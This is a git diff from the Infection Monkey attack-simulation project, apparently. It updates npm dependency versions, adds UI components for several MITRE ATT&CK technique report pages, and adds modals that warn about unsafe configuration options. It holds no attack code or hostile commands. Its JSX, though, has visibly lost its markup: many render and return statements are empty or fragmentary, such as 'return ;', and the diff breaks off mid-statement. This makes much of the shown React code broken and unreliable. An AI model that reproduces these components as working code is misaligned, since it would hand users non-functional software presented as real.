"sha512-WJLUFKBokoFK5imi0t8Dkyj+uqtS/5Ziuf4oE/OOFX30UqP1ffMDkv9/3sqBJQVQ9FjdgsX3Cm8JZMtMlYRc6w==", + "requires": { + "@snyk/graphlib": "2.1.9-patch.2", + "lodash.isequal": "^4.5.0", + "object-hash": "^2.0.3", + "semver": "^6.0.0", + "source-map-support": "^0.5.19", + "tslib": "^1.13.0" + }, + "dependencies": { + "@snyk/graphlib": { + "version": "2.1.9-patch.2", + "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.2.tgz", + "integrity": "sha512-BjJzOXDNzoEMBOjSks7vadu5f0c39SeorJMi9vUvvWM5dcE22CZqcN9VMRW5DYTifUJiCWszkm5TOyfYfB0bfg==", + "requires": { + "lodash.clone": "^4.5.0", + "lodash.constant": "^3.0.0", + "lodash.filter": "^4.6.0", + "lodash.foreach": "^4.5.0", + "lodash.has": "^4.5.2", + "lodash.isarray": "^4.0.0", + "lodash.isempty": "^4.4.0", + "lodash.isfunction": "^3.0.9", + "lodash.isundefined": "^3.0.1", + "lodash.keys": "^4.2.0", + "lodash.map": "^4.6.0", + "lodash.reduce": "^4.6.0", + "lodash.size": "^4.2.0", + "lodash.transform": "^4.6.0", + "lodash.union": "^4.6.0", + "lodash.values": "^4.3.0" + } + }, + "tslib": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", + "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + } + } + }, "debug": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", @@ -15051,12 +15147,25 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" }, - "tmp": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", - "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "requires": { - "rimraf": "^2.6.3" + "glob": "^7.1.3" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + }, + "tmp": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.0.tgz", + "integrity": "sha512-spsb5g6EiPmteS5TcOAECU3rltCMDMp4VMU2Sb0+WttN4qGobEkMAd+dkr1cubscN08JGNDX765dPbGImbG7MQ==", + "requires": { + "rimraf": "^3.0.0" } } } @@ -15075,6 +15184,43 @@ "tslib": "^2.0.0" }, "dependencies": { + "@snyk/cli-interface": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz", + "integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==", + "requires": { + "@snyk/dep-graph": "1.19.0", + "@snyk/graphlib": "2.1.9-patch", + "tslib": "^1.9.3" + }, + "dependencies": { + "@snyk/dep-graph": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz", + "integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==", + "requires": { + "@snyk/graphlib": "2.1.9-patch", + "lodash.isequal": "^4.5.0", + "object-hash": "^2.0.3", + "semver": "^6.0.0", + "source-map-support": "^0.5.19", + "tslib": "^2.0.0" + }, + "dependencies": { + "tslib": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", + "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" + } + } + }, + "tslib": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", + "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + } + } + }, "ansi-styles": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", @@ -15132,10 +15278,15 @@ "glob": "^7.1.3" } }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + }, "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } @@ -15149,9 +15300,9 @@ } }, "tslib": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.0.tgz", - "integrity": "sha512-lTqkx847PI7xEDYJntxZH89L2/aXInsyF2luSafe/+0fHOMjlBNXdH6th7f70qxLDhul7KZK0zC8V5ZIyHl0/g==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", + "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" } } }, @@ -15201,26 +15352,18 @@ } }, "snyk-mvn-plugin": { - "version": "2.17.1", - "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.17.1.tgz", - "integrity": "sha512-U7ZKrKVnUW2gcyYIzvc0w9nRYh4NXv+wShTIcs++ARCAJOG9A4nxh+ZRmINQ7Sy7EB2qLIRwN4Ssr17+y2mhuA==", + "version": "2.19.1", + "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz", + "integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==", "requires": { - "@snyk/cli-interface": "2.5.0", - "@snyk/java-call-graph-builder": "1.10.0", + "@snyk/cli-interface": "2.8.1", + "@snyk/java-call-graph-builder": "1.13.1", "debug": "^4.1.1", "needle": "^2.5.0", "tmp": "^0.1.0", "tslib": "1.11.1" }, "dependencies": { - "@snyk/cli-interface": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.5.0.tgz", - "integrity": "sha512-XMc2SCFH4RBSncZgoPb+BBlNq0NYpEpCzptKi69qyMpBy0VsRqIQqddedaazMCU1xEpXTytq6KMYpzUafZzp5Q==", - "requires": { - "tslib": "^1.9.3" - } - }, "debug": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", @@ -15269,16 +15412,6 @@ "tslib": "^1.9.3", "uuid": "^3.3.2", "yaml": "^1.9.2" - }, - "dependencies": { - "event-loop-spinner": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz", - "integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==", - "requires": { - "tslib": "^1.10.0" - } - } } }, "snyk-nuget-plugin": { @@ -15371,9 +15504,9 @@ }, "dependencies": { "@types/node": { - "version": "6.14.10", - "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.10.tgz", - "integrity": "sha512-pF4HjZGSog75kGq7B1InK/wt/N08BuPATo+7HRfv7gZUzccebwv/fmWVGs/j6LvSiLWpCuGGhql51M/wcQsNzA==" + "version": "6.14.11", + "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz", + "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA==" }, "debug": { "version": "4.1.1", @@ -15474,9 +15607,9 @@ }, "dependencies": { "@types/node": { - "version": "6.14.10", - "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.10.tgz", - "integrity": "sha512-pF4HjZGSog75kGq7B1InK/wt/N08BuPATo+7HRfv7gZUzccebwv/fmWVGs/j6LvSiLWpCuGGhql51M/wcQsNzA==" + "version": "6.14.11", + "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz", + "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA==" }, "debug": { "version": "3.2.6", @@ -16683,9 +16816,9 @@ "integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw==" }, "terser": { - "version": "4.6.13", - "resolved": "https://registry.npmjs.org/terser/-/terser-4.6.13.tgz", - "integrity": "sha512-wMvqukYgVpQlymbnNbabVZbtM6PN63AzqexpwJL8tbh/mRT9LE5o+ruVduAGL7D6Fpjl+Q+06U5I9Ul82odAhw==", + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", + "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", "dev": true, "requires": { "commander": "^2.20.0", @@ -16702,16 +16835,16 @@ } }, "terser-webpack-plugin": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.3.tgz", - "integrity": "sha512-QMxecFz/gHQwteWwSo5nTc6UaICqN1bMedC5sMtUc7y3Ha3Q8y6ZO0iCR8pq4RJC8Hjf0FEPEHZqcMB/+DFCrA==", + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz", + "integrity": "sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==", "dev": true, "requires": { "cacache": "^12.0.2", "find-cache-dir": "^2.1.0", "is-wsl": "^1.1.0", "schema-utils": "^1.0.0", - "serialize-javascript": "^2.1.2", + "serialize-javascript": "^4.0.0", "source-map": "^0.6.1", "terser": "^4.1.2", "webpack-sources": "^1.4.0", @@ -16941,18 +17074,18 @@ "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==" }, "tsparticles": { - "version": "1.15.2", - "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.15.2.tgz", - "integrity": "sha512-7jzJJdd3kypce3QQryJtoULqw9O05WyG8wsqqOU1a3Xvt+eRdBpwOVUnjV6NDrMqYjPHBW9/vmb0ppH1tfTmiQ==", + "version": "1.17.7", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.17.7.tgz", + "integrity": "sha512-+9b0YplbE38WPxWAMwYQ6+VLZ4LsDG8N3RAPx8ezwsi0IfR1ZEirfuHOUoYv3KfPMpmJOxf0F4jAFcq47uwyMA==", "requires": { "pathseg": "^1.2.0", "tslib": "^2.0.0" }, "dependencies": { "tslib": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.0.tgz", - "integrity": "sha512-lTqkx847PI7xEDYJntxZH89L2/aXInsyF2luSafe/+0fHOMjlBNXdH6th7f70qxLDhul7KZK0zC8V5ZIyHl0/g==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", + "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" } } }, @@ -17059,9 +17192,9 @@ } }, "underscore": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz", - "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg==" + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz", + "integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw==" }, "unherit": { "version": "1.1.3", @@ -17279,9 +17412,9 @@ "dev": true }, "update-notifier": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.0.tgz", - "integrity": "sha512-w3doE1qtI0/ZmgeoDoARmI5fjDoT93IfKgEGqm26dGUOh8oNpaSTsGNdYRN/SjOuo10jcJGwkEL3mroKzktkew==", + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.1.tgz", + "integrity": "sha512-9y+Kds0+LoLG6yN802wVXoIfxYEwh3FlZwzMwpCZp62S2i1/Jzeqb9Eeeju3NSHccGGasfGlK5/vEHbAifYRDg==", "requires": { "boxen": "^4.2.0", "chalk": "^3.0.0", @@ -17340,9 +17473,9 @@ "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=" }, "supports-color": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", - "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } @@ -18052,9 +18185,9 @@ "integrity": "sha1-+OGqHuWlPsW/FR/6CXQqatdpeHY=" }, "windows-release": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.1.tgz", - "integrity": "sha512-Pngk/RDCaI/DkuHPlGTdIkDiTAnAkyMjoQMZqRsxydNl1qGXNIoZrB7RK8g53F2tEgQBMqQJHQdYZuQEEAu54A==", + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.3.tgz", + "integrity": "sha512-OSOGH1QYiW5yVor9TtmXKQvt2vjQqbYS+DqmsZw+r7xDwLXEeT3JGW0ZppFmHx4diyXmxt238KFR3N9jzevBRg==", "requires": { "execa": "^1.0.0" } diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 67a772589..1cc781c03 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "1.9.0", + "version": "1.10.0", "name": "infection-monkey", "description": "Infection Monkey C&C UI", "scripts": { @@ -59,23 +59,23 @@ "webpack-dev-server": "^3.11.0" }, "dependencies": { - "@emotion/core": "^10.0.22", + "@emotion/core": "^10.0.34", "@fortawesome/fontawesome-svg-core": "^1.2.29", "@fortawesome/free-regular-svg-icons": "^5.13.1", "@fortawesome/free-solid-svg-icons": "^5.13.1", "@fortawesome/react-fontawesome": "^0.1.11", "@kunukn/react-collapse": "^1.2.7", - "bootstrap": "^4.5.0", + "bootstrap": "^4.5.2", "classnames": "^2.2.6", "core-js": "^3.6.5", "d3": "^5.14.1", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "file-saver": "^2.0.2", - "filepond": "^4.18.0", + "filepond": "^4.19.2", "jwt-decode": "^2.2.0", - "lodash": "^4.17.15", - "marked": "^1.1.1", + "lodash": "^4.17.20", + "marked": "^2.0.0", "normalize.css": "^8.0.0", "npm": "^6.14.7", "pluralize": "^7.0.0", @@ -94,9 +94,9 @@ "react-filepond": "^7.0.1", "react-graph-vis": "^1.0.5", "react-hot-loader": "^4.12.20", - "react-json-tree": "^0.11.2", + "react-json-tree": "^0.12.0", "react-jsonschema-form-bs4": "^1.7.1", - "react-particles-js": "^3.2.1", + "react-particles-js": "^3.3.0", "react-redux": "^5.1.2", "react-router-dom": "^4.3.1", "react-spinners": "^0.9.0", @@ -104,8 +104,8 @@ "react-toggle": "^4.1.1", "react-tooltip-lite": "^1.12.0", "redux": "^4.0.4", - "sha3": "^2.0.7", - "snyk": "^1.361.3" + "sha3": "^2.1.3", + "snyk": "^1.373.1" }, "snyk": true } diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 7ef373f05..32480db8e 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -4,7 +4,7 @@ import {Container} from 'react-bootstrap'; import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; -import RunMonkeyPage from 'components/pages/RunMonkeyPage'; +import RunMonkeyPage from 'components/pages/RunMonkeyPage/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; @@ -24,12 +24,13 @@ import 'react-toggle/style.css'; import 'react-table/react-table.css'; import notificationIcon from '../images/notification-logo-512x512.png'; import {StandardLayoutComponent} from './layouts/StandardLayoutComponent'; +import LoadingScreen from './ui-components/LoadingScreen'; const reportZeroTrustRoute = '/report/zeroTrust'; class AppComponent extends AuthComponent { updateStatus = () => { - if (this.state.isLoggedIn === false){ + if (this.state.isLoggedIn === false) { return } this.auth.loggedIn() @@ -82,10 +83,10 @@ class AppComponent extends AuthComponent { case false: return ; default: - return page_component; + return ; } default: - return page_component; + return ; } }; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index f58f870c1..1a93c8e06 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -14,7 +14,7 @@ class T1003 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.services.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.scripts.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}
); diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js index 330f7d129..9b2850dfa 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -33,7 +33,7 @@ class T1075 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'}}, + { Header: 'Result', + id: 'result', + accessor: x => x.result, + style: {'whiteSpace': 'unset'}} + ] + }]) + } + + render() { + return ( +
+
{this.props.data.message_html}
+
+ {this.props.data.status === ScanStatus.USED ? + : ''} + +
+ ); + } + } + + export default T1087; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js index 69ccb4adc..226b56e12 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -25,7 +25,7 @@ class T1090 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'}}, + { Header: 'Result', + id: 'result', + accessor: x => x.result, + style: {'whiteSpace': 'unset'}} + ] + }]) + } + + render() { + return ( +
+
{this.props.data.message_html}
+
+ {this.props.data.status === ScanStatus.USED ? + : ''} + +
+ ); + } + } + + export default T1099; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js index ab4b9481d..1138c4023 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -24,7 +24,7 @@ class T1105 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status !== ScanStatus.UNSCANNED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.api_uses.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.deleted_files.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status !== ScanStatus.UNSCANNED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.dlls.length !== 0 ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'}}, + { Header: 'Result', + id: 'result', + accessor: x => x.result, + style: {'whiteSpace': 'unset'}} + ] + }]) + } + + render() { + return ( +
+
{this.props.data.message_html}
+
+ {this.props.data.status === ScanStatus.USED ? + : ''} + +
+ ); + } + } + + export default T1146; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1154.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1154.js index c136b8017..52744542a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1154.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1154.js @@ -27,7 +27,7 @@ class T1154 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ?
-
{this.props.data.message}
+
{this.props.data.message_html}
{this.props.data.bits_jobs.length > 0 ?
BITS jobs were used in these machines:
: ''}

diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 3bb6ad8c9..1a25d2ad5 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -95,7 +95,7 @@ class T1210 extends React.Component { let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat(); return (
-
{this.props.data.message}
+
{this.props.data.message_html}
{scanned_services.length > 0 ? this.renderScannedServices(scanned_services) : ''} {this.props.data.exploited_services.length > 0 ? diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js new file mode 100644 index 000000000..d65ab6a42 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1216.js @@ -0,0 +1,45 @@ +import React from 'react'; +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, ScanStatus} from './Helpers'; +import MitigationsComponent from './MitigationsComponent'; + +class T1216 extends React.Component { + + constructor(props) { + super(props); + } + + static getColumns() { + return ([{ + columns: [ + { Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'}}, + { Header: 'Result', + id: 'result', + accessor: x => x.result, + style: {'whiteSpace': 'unset'}} + ] + }]) + } + + render() { + return ( +
+
{this.props.data.message_html}
+
+ {this.props.data.status === ScanStatus.USED ? + : ''} + +
+ ); + } +} + +export default T1216; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js index f7309665e..cadcd87db 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js @@ -23,7 +23,7 @@ class T1222 extends React.Component { render() { return (
-
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? -
{this.props.data.message}
+
{this.props.data.message_html}

{this.props.data.status === ScanStatus.USED ? + +

+
Warning
+

+

+ Some of the selected options could cause systems to become unstable or malfunction. + Are you sure you want to submit the selected settings? +

+
+ + +
+
+ + ) +} + +export default UnsafeOptionsConfirmationModal; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsWarningModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsWarningModal.js new file mode 100644 index 000000000..ee25c3959 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsWarningModal.js @@ -0,0 +1,28 @@ +import React from 'react'; +import {Modal, Button} from 'react-bootstrap'; + +function UnsafeOptionsConfirmationModal(props) { + return ( + + +

+
Warning
+

+

+ Some of the selected options could cause systems to become unstable or malfunction. +

+
+ +
+
+
+ ) +} + +export default UnsafeOptionsConfirmationModal; diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 27800cb97..9007194b0 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -274,9 +274,9 @@ class PreviewPaneComponent extends AuthComponent { let label = ''; if (!this.props.item) { label = ''; - } else if (this.props.item.hasOwnProperty('label')) { + } else if (Object.prototype.hasOwnProperty.call(this.props.item, 'label')) { label = this.props.item['label']; - } else if (this.props.item.hasOwnProperty('_label')) { + } else if (Object.prototype.hasOwnProperty.call(this.props.item, '_label')) { label = this.props.item['_label']; } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index f3b3e190c..4cae9b2bf 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -11,6 +11,9 @@ import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamati import {formValidationFormats} from '../configuration-components/ValidationFormats'; import transformErrors from '../configuration-components/ValidationErrorMessages'; import InternalConfig from '../configuration-components/InternalConfig'; +import UnsafeOptionsConfirmationModal from '../configuration-components/UnsafeOptionsConfirmationModal.js'; +import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptionsWarningModal.js'; +import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; const 